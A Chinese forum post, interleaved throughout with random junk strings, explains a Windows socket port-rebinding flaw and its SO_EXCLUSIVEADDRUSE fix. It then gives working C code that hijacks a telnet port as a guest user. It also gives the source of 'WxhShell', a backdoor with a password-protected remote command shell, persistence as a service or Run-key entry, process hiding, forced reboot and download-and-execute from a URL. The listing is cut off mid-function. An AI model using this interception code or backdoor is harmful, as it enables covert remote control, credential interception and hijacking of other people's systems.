-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @}}$zv6l, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X\bOz[\ rustMs2p saddr.sin_family = AF_INET; OCBgR4I ~f$|HP} saddr.sin_addr.s_addr = htonl(INADDR_ANY); |#]@Z)xa BRgXr bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7/I, HxXp! UG+d-&~Ll 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \1D<!k\S XAF+0 x! 这意味着什么?意味着可以进行如下的攻击: RBs-_o+ % /`wvxKX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [XEkz#{
fSK]|"c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Vl&?U \hDlTp} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VY
| _dk /_I]H 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 A%KDiIA (k5We!4[1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K,+LG7ec PQ5QA61 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xhVO3LW' kmP]SO?tx 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M2OIBH4! VVac: #include QbkLdM,S* #include TN+iA~kQ #include ,|y:" s #include tn(JC%?^ DWORD WINAPI ClientThread(LPVOID lpParam); B-ngn{Yc int main() T@2#6Tffo { {< )1q ; WORD wVersionRequested; #U!
_U+K DWORD ret; I,>-t GK WSADATA wsaData; 7}f}$1
BOOL val; 8m2Tk\;: SOCKADDR_IN saddr; \<JSkr[h!" SOCKADDR_IN scaddr; Dz>^IMsY int err; :61Tun SOCKET s; Ta
?_5 SOCKET sc; ,J,/."Y int caddsize; -JMdE_h HANDLE mt; b6nsg| DWORD tid; H?<N.Dq wVersionRequested = MAKEWORD( 2, 2 ); 0m%|U'm|j err = WSAStartup( wVersionRequested, &wsaData ); 6&
e3Nt if ( err != 0 ) { *X'Y$x>f printf("error!WSAStartup failed!\n"); "c3Grfoz return -1; *6sl } I4/8 _)b^ saddr.sin_family = AF_INET; *SU\ABcov mHV%I@`Y6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SQBa;hvgM h`KFL/fT saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [Y|8\Ph`& saddr.sin_port = htons(23); Sg&UagBj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UW N*j_9i { D>/0v8
printf("error!socket failed!\n"); )Xk0VDNp$/ return -1; &+Z,hs9% } R)_%i<nq\ val = TRUE; sD{Wxv //SO_REUSEADDR选项就是可以实现端口重绑定的 nygbt<;? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N4^-` { RN$1bxY printf("error!setsockopt failed!\n"); 5b*M*e&=C return -1; .>=(' - } _-q.Q^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <'qeXgi //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $bW3_rl%X //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rSZd!OQ -}nxJH ) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k.5u { [$qyF|/K`n ret=GetLastError(); )U~=Pf" printf("error!bind failed!\n"); "S8uoSF`> return -1; .u*0[N } 2/vMoVT, listen(s,2); AP68V while(1) (\\eo { cJ{ Nh;" caddsize = sizeof(scaddr); gRCdY8GH //接受连接请求 h]Wr [v sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GGNvu)" if(sc!=INVALID_SOCKET) S)cLW~=z { 7op`s5i mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); / :
L ?~ if(mt==NULL) ~D<IB#C { p2ogn}` printf("Thread Creat Failed!\n"); K~AR*1??[ break; A#Iyb){Y } wb]%m1H`: } Lhl]g^SN CloseHandle(mt); k_sg
?(-!o } OBMTgZHxv closesocket(s); 4i6q{BeHn WSACleanup(); w1hPc!I return 0; kW*f.! } y+X2Pl DWORD WINAPI ClientThread(LPVOID lpParam) ]"t@-PFX< { C9~52+S SOCKET ss = (SOCKET)lpParam; !ipR$ dM SOCKET sc; I%r{]-Obr- unsigned char buf[4096]; w\(.3W7 SOCKADDR_IN saddr; $CY~5A `l9 long num; OjFLPGRCh DWORD val; -7*ET3NSI/ DWORD ret; x.f]1S7h[ //如果是隐藏端口应用的话,可以在此处加一些判断 brW :C?} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 RZHd9v$ saddr.sin_family = AF_INET; %6t2ohO" saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P#RR9>Q saddr.sin_port = htons(23); zfc'=ODX if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VRI0W` { _oHNkKQ printf("error!socket failed!\n"); )we}6sE" return -1; b6Wqr/ } PMNjn9d val = 100; N"" BCh" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o$#G0}yn { &X|#R1\ ret = GetLastError(); gLE:g5v6 return -1; SSPHhAeH8 } J&M
o%"[) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "Q!(52_@J { ?98("T|y; ret = GetLastError(); F@mQQ return -1; ,quoRan } ?$*SjZt if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \MbB# { jzDuE{ printf("error!socket connect failed!\n"); [U5\bX@$ closesocket(sc); eO?p*"p" F closesocket(ss); z.kvX+7' return -1; g+pml*LJ }
vr6MU< while(1) fQi4\m { ~F4fFQ-yy //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sejg&8 //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;\]b T;# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 np8gKVD num = recv(ss,buf,4096,0); PcA2/!a if(num>0) .!f$
\1l send(sc,buf,num,0); *v9 2 else if(num==0) %k;|\%B` break; I1pWaQ0 num = recv(sc,buf,4096,0); wN;^[F if(num>0) ^>i63Yc send(ss,buf,num,0); ~yH?=:>U else if(num==0) sE:M@`2L break; rEB@$C^ } NWMFtT closesocket(ss); n?- }) closesocket(sc); x4E7X_ return 0 ; a0D%k: k5 } "uaMk}[ <! FFu9&8Y f"%{%M$K ========================================================== ti
I.W bgK'{_o- 下边附上一个代码,,WXhSHELL ^Wt* ^; )8VP6 ========================================================== f33 l$pOp ,n3a
gkPO> #include "stdafx.h" L*&p! @GdbTd #include <stdio.h> m 8aITd8 #include <string.h> sj HrPs e #include <windows.h> +RyjF~[e #include <winsock2.h> 0=AVW`J #include <winsvc.h> z^#;~I @M #include <urlmon.h> 1Cv- &e#~<Wm82 #pragma comment (lib, "Ws2_32.lib") zi]\<?\X #pragma comment (lib, "urlmon.lib") Y8-86 *zC 8W,Jh8N6 #define MAX_USER 100 // 最大客户端连接数 :lf+W #define BUF_SOCK 200 // sock buffer xI($Uu}S #define KEY_BUFF 255 // 输入 buffer Exc9`
7%. +^=8ge} #define REBOOT 0 // 重启 @ycDCB(D} #define SHUTDOWN 1 // 关机 B?'#4J Kx;eaz:gx #define DEF_PORT 5000 // 监听端口 ;C3US)j __|+w<] #define REG_LEN 16 // 注册表键长度 2O.i\cH #define SVC_LEN 80 // NT服务名长度 #xX5,r0 I%sFqh> // 从dll定义API +l9!Fl{MK\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :h\Q;? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E4|jOz^j4\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 95A1:A^t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~Y|*`C_) 3%E }JU?MM // wxhshell配置信息 ca7=V/i_a{ struct WSCFG { '8!YD?n int ws_port; // 监听端口 F'4w;-ax char ws_passstr[REG_LEN]; // 口令 5=v}W:^v. int ws_autoins; // 安装标记, 1=yes 0=no nD`w/0hT< char ws_regname[REG_LEN]; // 注册表键名 kEOS{C%6R char ws_svcname[REG_LEN]; // 服务名 |iE50, char ws_svcdisp[SVC_LEN]; // 服务显示名 M>~Drul char ws_svcdesc[SVC_LEN]; // 服务描述信息 }<@b=_>S char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z4S!NDMm~ int ws_downexe; // 下载执行标记, 1=yes 0=no mz, char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" r+":' /[x char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6kpg+{; &7PG.Ff!r }; QPx_- YG@t5j#b // default Wxhshell configuration ,z;cbsV-{ struct WSCFG wscfg={DEF_PORT, UTH*bL5/J2 "xuhuanlingzhe", xe{!wX 1, ^l9N48]|? "Wxhshell", OSs&r$ "Wxhshell", B@&4i?yJ "WxhShell Service", yeXx',]a "Wrsky Windows CmdShell Service", qU%/W|LY "Please Input Your Password: ", l_o@miG/ 1, 3Dng1} " http://www.wrsky.com/wxhshell.exe", +S>j0m<* "Wxhshell.exe" YB(Q\hT~\; }; /|tJ6T1LrB -w9pwB // 消息定义模块 z\K"Rg~J char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @ ;*Ksy@1O char *msg_ws_prompt="\n\r? for help\n\r#>"; h"X;3b^ m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; c0,0`+2~ char *msg_ws_ext="\n\rExit."; ?[@J8 char *msg_ws_end="\n\rQuit."; w,#>G07D char *msg_ws_boot="\n\rReboot..."; n^Hm;BiE# char *msg_ws_poff="\n\rShutdown..."; %zG;Q@ char *msg_ws_down="\n\rSave to "; h2Ld[xvCu% CyS$|E char *msg_ws_err="\n\rErr!"; L2\#w<d char *msg_ws_ok="\n\rOK!"; r_
I5.gK \k .{-nh char ExeFile[MAX_PATH]; 5rw 7;' int nUser = 0; S\:P-&dC HANDLE handles[MAX_USER]; |iak z|]) int OsIsNt; ]<ldWL l4F%VR4KT SERVICE_STATUS serviceStatus; z* ^_)Z SERVICE_STATUS_HANDLE hServiceStatusHandle; g;pcZ9o nV"~-On // 函数声明 S0zD"T int Install(void); wjHzE
int Uninstall(void); 3@kf@Vf int DownloadFile(char *sURL, SOCKET wsh); ??^5;P{yx int Boot(int flag); 6a[}'/ void HideProc(void); J%u=Ucdh int GetOsVer(void); !hJ+Lp_ int Wxhshell(SOCKET wsl); J"!vu.[ void TalkWithClient(void *cs); |cK*~ int CmdShell(SOCKET sock); 4w*Skl=F} int StartFromService(void); cr%"$1sY; int StartWxhshell(LPSTR lpCmdLine); 7I&&bWB /5S30 |K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qX/y5F` VOID WINAPI NTServiceHandler( DWORD fdwControl ); U;YC}r c/D+|X* // 数据结构和表定义
SWH2 SERVICE_TABLE_ENTRY DispatchTable[] = YN/|$sMD| { T. }1/S"m {wscfg.ws_svcname, NTServiceMain}, D9<!mH {NULL, NULL} ^H~h\,;zQ }; ?^7t'`zk `.E[}W // 自我安装 Njxv4cc int Install(void) WA5 kg\ { =O&%c%~q char svExeFile[MAX_PATH]; =#;3Q~:Jl^ HKEY key; o*-)Tq8GHE strcpy(svExeFile,ExeFile);
CuFSeRe CNih6R // 如果是win9x系统,修改注册表设为自启动 ^NRl// if(!OsIsNt) { .k#U]M
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M||+qd W! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1#C4;3i, RegCloseKey(key); 0]'7_vDs| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (jnQ
- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3-[q4R RegCloseKey(key); 8NxM4$nQX return 0; @ju@WY45$^ } 0@[$lv;OS } <lgYcdJ } *T-<|zQ else { 02f~En}>6 H['N // 如果是NT以上系统,安装为系统服务 ~Y `ldL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^&B@Uw5{ if (schSCManager!=0) 0g
+7uGp: { AS!?q SC_HANDLE schService = CreateService s(5Y ( ]%hn`ZJ schSCManager, rxe>}ZO wscfg.ws_svcname, fFMlDg[]; wscfg.ws_svcdisp, D60aH!ft SERVICE_ALL_ACCESS, J28M@cn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mi=Q{>rb SERVICE_AUTO_START, bk[U/9Z\ SERVICE_ERROR_NORMAL, -c_74c50 svExeFile, 1Lc#m`Jln NULL, US+Q~GTA NULL, 3r<~Q7e NULL, bZ?v-fn\D, NULL, Sj-n;F|=X NULL FTH|9OP
); ?L5zC+c! if (schService!=0) g$":D { o~U$GBg CloseServiceHandle(schService); z#8~iF1 CloseServiceHandle(schSCManager); v6[!o<@"a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J &o|QG strcat(svExeFile,wscfg.ws_svcname); AhCW'. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dWM'fg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ySk R>y RegCloseKey(key); vV'EZ? return 0; x5|I } 5<iV2Hx } m- %E-nr CloseServiceHandle(schSCManager); ~t@cO.c } :<ka3<0% } A|CmlAW~^ teOe#* return 1; Bp*K]3_ } H ;7(}:.
jPC[_g // 自我卸载 ~9?cn int Uninstall(void) @+;$jRwq { wGU*:k7p HKEY key; q?,).x
nN R]Vt Y7}i, if(!OsIsNt) { (ScxLf=] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -B>++r2A^ RegDeleteValue(key,wscfg.ws_regname); eiuSvyY RegCloseKey(key); h&|[eZt?F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UN7EF/!Zz RegDeleteValue(key,wscfg.ws_regname); 062,L~&E RegCloseKey(key); yTyj'-4 return 0; ,K>I%_!1 } 9Q
-HeXvR } LU+3{O5y } V
@rI`~$ else { *EI6dD" a! (4Ch SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !y#"l$"xK if (schSCManager!=0)
7;u
e { OHv[#xGuV? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XoXM^*Vk if (schService!=0) z^KJ*E { r}Ohkr if(DeleteService(schService)!=0) { 6~OoFm5 CloseServiceHandle(schService); p$SX CloseServiceHandle(schSCManager); W"724fwu& return 0; ,9?BcD1 } &vHoRY CloseServiceHandle(schService); c~6>1w7SZ4 } Ytgcs(
/$ CloseServiceHandle(schSCManager); PxF<\pu& } :#2Bw]z&z } YX%[ipgB 832v"kCD return 1; })uGRvz } 7}1~%:6 :d3bt~b' // 从指定url下载文件 >O1[:%Z1 int DownloadFile(char *sURL, SOCKET wsh) 3WN`y8l { 8'n/?.7cX HRESULT hr; aGK?x1_ char seps[]= "/"; h
a|C&G char *token; 0fc/wfv< char *file; |lXc0"H[o char myURL[MAX_PATH];
rL/H2[d char myFILE[MAX_PATH]; `(T,+T4C5k _,q) hOI strcpy(myURL,sURL); UU'|Xz9~ token=strtok(myURL,seps); W8Q|$ZJ88F while(token!=NULL) a-y+@#;2_ { &lR 6sb\ file=token; "mX\&%i6\p token=strtok(NULL,seps); A01AlK_B } R,)}>X|< #G|qD GetCurrentDirectory(MAX_PATH,myFILE); qNI,
62 strcat(myFILE, "\\"); .tkT<o-u<J strcat(myFILE, file); CQwL|$)]Y send(wsh,myFILE,strlen(myFILE),0); m#ZO`W send(wsh,"...",3,0); A3vUPWdDk hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~jK{ ,$:= if(hr==S_OK) Mmj;'iYOwF return 0; XIvn_&d;G else u4m,'XR return 1; Wf>zDW^"R <$6QDfa# } $=5=NuX qZ]pq2G // 系统电源模块 ;WgJ<&33 int Boot(int flag) CL)lq)1( { [(o7$i29|% HANDLE hToken; SaC d0. h TOKEN_PRIVILEGES tkp; e`d%-9 1J6,]M if(OsIsNt) { cHcmgW\4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Op"M.]# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \(VTt|}By$ tkp.PrivilegeCount = 1; kgy:Q' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HQ|MhM/" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hj if(flag==REBOOT) { qzI&<4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?6(I V] return 0; [~kdPk } N-jTc?mT~& else { ?notxE7 ] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PlF87j ( return 0; I/M _p^ } H~GQ;PhRx } a\IP12F? else { Q?8R[i if(flag==REBOOT) { 6lkl7zm if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NM]s8cK_ return 0; S;~g3DCd } /EibEd\ else { `6 /$M!4$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KBXK0zWh7 return 0; B.g[c97 } cC o`~7rE } JoRT&rkd t<T[h2Wd return 1;
%ObLWH' }
)x}l3\s )+6v // win9x进程隐藏模块 d)@<W1; void HideProc(void) ~/ 8M 3k/ { nB%;S Q:|l`*.R HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GuGOePV if ( hKernel != NULL ) J8M$k/"X { KhCzD[tf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aFe`_cnG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T[,/5J FreeLibrary(hKernel); j
[rB"N`0 } fwrJ!j UA4J>1 i return; by'DQ 00 } pM{nh00[ |\n@3cIK // 获取操作系统版本 <V7>?U l int GetOsVer(void) $we]91(:: { M
t*6}Cl OSVERSIONINFO winfo; e$u4vC~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +$$$ GetVersionEx(&winfo); f'<Q.Vh< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9Ro6fjjE return 1; 6*qL[m.F[o else ? Zc"C return 0; a@@M+9Q } S@}1t4Ls: cFN'bftH4 // 客户端句柄模块 xXY.AoO6 int Wxhshell(SOCKET wsl) Q~MC7-n> { ~`GhS<D SOCKET wsh; ZT[3aXS struct sockaddr_in client; K]qM~v<A DWORD myID; [97KBoSU ?9HhG?_x while(nUser<MAX_USER) 9prU+9 { YXU|h int nSize=sizeof(client); q;fKcblKj wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zP:cE if(wsh==INVALID_SOCKET) return 1; >Jw6l0z 65oWD- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wxkx,q? if(handles[nUser]==0) c(U closesocket(wsh); 8K;Y2
# else y8s!M nUser++; "c(Sysl.L } `:wvh( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?!=iu!J 9Ew7A(BG_3 return 0; fa&-. * } ?sBh=Ds `^(jm // 关闭 socket >tG+?Y'{ void CloseIt(SOCKET wsh) Y4F6qyP)" { MlJVeod closesocket(wsh); '~ 4pl0TWc nUser--; 0Rz(|jlbS ExitThread(0); g7CXlT0Q6 } R0;efD 1z*kc)=JF8 // 客户端请求句柄 16X@^j_ void TalkWithClient(void *cs) Z~6[ Z { <w>/^|]# ~P-*}q2J SOCKET wsh=(SOCKET)cs; Sd))vS^g char pwd[SVC_LEN]; IN7<@OS7 char cmd[KEY_BUFF]; >Z Ke char chr[1]; V8-h%|$p3W int i,j; WlV
z,t'if 02JoA+ while (nUser < MAX_USER) { kax\h "PH6e bm if(wscfg.ws_passstr) { 4'Xgk8) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `@`1pOb //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /}5B&TZ=(3 //ZeroMemory(pwd,KEY_BUFF); XM|%^ry i=0; wP"q<W
g while(i<SVC_LEN) { V%CUMH =U |%D%0TR&Q // 设置超时 Rt(J/%; fd_set FdRead; LS.r%:$mb struct timeval TimeOut; rrs"N3!aT FD_ZERO(&FdRead); Vv*NFJ | FD_SET(wsh,&FdRead); x`Fjf/1T*m TimeOut.tv_sec=8; JmOW~W TimeOut.tv_usec=0; "DSPPE&[c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O\OE0 [[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q;h3v1GC\P F9XT
lA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DFe;4BdC pwd =chr[0]; {UH9i'y:t if(chr[0]==0xd || chr[0]==0xa) { vt]F U< pwd=0; noNm^hFL break; Y/U{Qc\6 } N
dR ] i++; W"hcaa,& }
?RD *1
FfM nul // 如果是非法用户,关闭 socket yu&Kh4AP if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X QbNH~ } FUeq
\Wuo b>cafu send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~%y\@x7I send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }uX|5&=~f fk5XvL while(1) { K]N~~*`%` 's@MQ!
* ZeroMemory(cmd,KEY_BUFF); 5M?mYNQR/H BSXdvI1y // 自动支持客户端 telnet标准 IG.f=+<0 j=0; {^&@gkYY while(j<KEY_BUFF) { p/|(,)'+jx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %my cmd[j]=chr[0]; ]b[,LwB\`~ if(chr[0]==0xa || chr[0]==0xd) { aqQ o,5U> cmd[j]=0; EI`vVI break; %"7WXOv&z } mf 4z?G@6 j++; T_L6 t66I } /)1v9<vM" fuSq ={] // 下载文件 LZ&uj{ < if(strstr(cmd,"http://")) { lL2-.!]R send(wsh,msg_ws_down,strlen(msg_ws_down),0); -qn[HXq if(DownloadFile(cmd,wsh)) tSw>@FM send(wsh,msg_ws_err,strlen(msg_ws_err),0); #)i&DJ^Y else &X w`T9< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U6i~A9; } d)*(KhYie@ else { ~PUsgL^ u
2lXd' switch(cmd[0]) { #1l7FT?q <kc]L x // 帮助 cqg=8$ RB case '?': { @aB9%An1 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -c$z 2Q) break; 3W j,} } %<S7 // 安装 Dh8(HiXf: case 'i': { R"Y?iZed3 if(Install()) /Hk07:"c send(wsh,msg_ws_err,strlen(msg_ws_err),0); IuKnM`X else x[}06k' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G"f du(.@ break; M5rwoyn } {3SdX // 卸载 ris;Iu^v0 case 'r': { U$@83?O{iM if(Uninstall()) yr{5Rp05= send(wsh,msg_ws_err,strlen(msg_ws_err),0); G*Ib^;$u else )ys=+Pz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =u[rOU{X"W break; Z_jn27AC } V4oak!}? // 显示 wxhshell 所在路径 johmJLC case 'p': { 7Ff?Ysr char svExeFile[MAX_PATH]; J{^n=X9M0J strcpy(svExeFile,"\n\r"); IE@ z@+\( strcat(svExeFile,ExeFile); 8q{1E];:q send(wsh,svExeFile,strlen(svExeFile),0); '@S,V/jy0z break; UJ9q-r } j`+0.Zlq // 重启 "h`54}0 case 'b': { be_C>v send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8t--#sDy{0 if(Boot(REBOOT))
B[Ix?V4yy send(wsh,msg_ws_err,strlen(msg_ws_err),0); A@\qoS[ else { lbG}noqb closesocket(wsh); ]zy~@,\ ExitThread(0); 7s$6XO! } 1riBvBT break; dqL-' } Iy6p>z| // 关机 3a/[."W
u case 'd': { $]Rl__; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h<Jc;ht if(Boot(SHUTDOWN)) QId"Cl)3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); HgS<Vxmq else { ./';P<) closesocket(wsh); kf}F}Ad:% ExitThread(0); D8q3TyCj% } [}jj<!9A_; break; 0I(uddG3 } JgxE|#*7U // 获取shell ]VzqQ=U% case 's': { @*bvMEE CmdShell(wsh); (QA-"9v#i, closesocket(wsh); g&|4 ExitThread(0); 3$MYS^D break; #>MO] } %H 8A= // 退出 o(?VX`2" case 'x': { _ .-o%6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
7=$+k]U8 CloseIt(wsh); oqm break; $'WapxF } <Gb nPG? // 离开 \.K\YAM< case 'q': { aW52.X z%8 send(wsh,msg_ws_end,strlen(msg_ws_end),0); P@^z:RS*{ closesocket(wsh); CpUI|Rs WSACleanup(); ^#<:<X6 exit(1); MLkL.1eGSb break; ?|%\<h@; } Xtu: } D[?k ,* } o(B<!ji~' m1~qaD<DZ$ // 提示信息 owfp^hla if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $[HcHnf } "N?%mCPI } c9Y2eetO [ u`17hyX return; FYx `o\ } hLDch5J5~ 7yq7a[Ra // shell模块句柄 aB$y+`f)@ int CmdShell(SOCKET sock) 2b6? 9FX* { t
1Ir4 STARTUPINFO si; 3{2^G@j ZeroMemory(&si,sizeof(si)); Sleu#]- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $UFge%`,q@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l|R<F;| PROCESS_INFORMATION ProcessInfo; !s#'pTZk4 char cmdline[]="cmd"; 7- *(a CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~x4{P;y return 0; 4~MJ4: } 73^T* %2rHvF= // 自身启动模式 gL[1wM%? int StartFromService(void) hJC
p0F9O { avHD'zU}N typedef struct O X5Co<u { E1U 4v&P DWORD ExitStatus; 6)uPM"cO DWORD PebBaseAddress; %h/#^esi DWORD AffinityMask; z^ a6%N DWORD BasePriority; ]RJb; ULONG UniqueProcessId; Cu
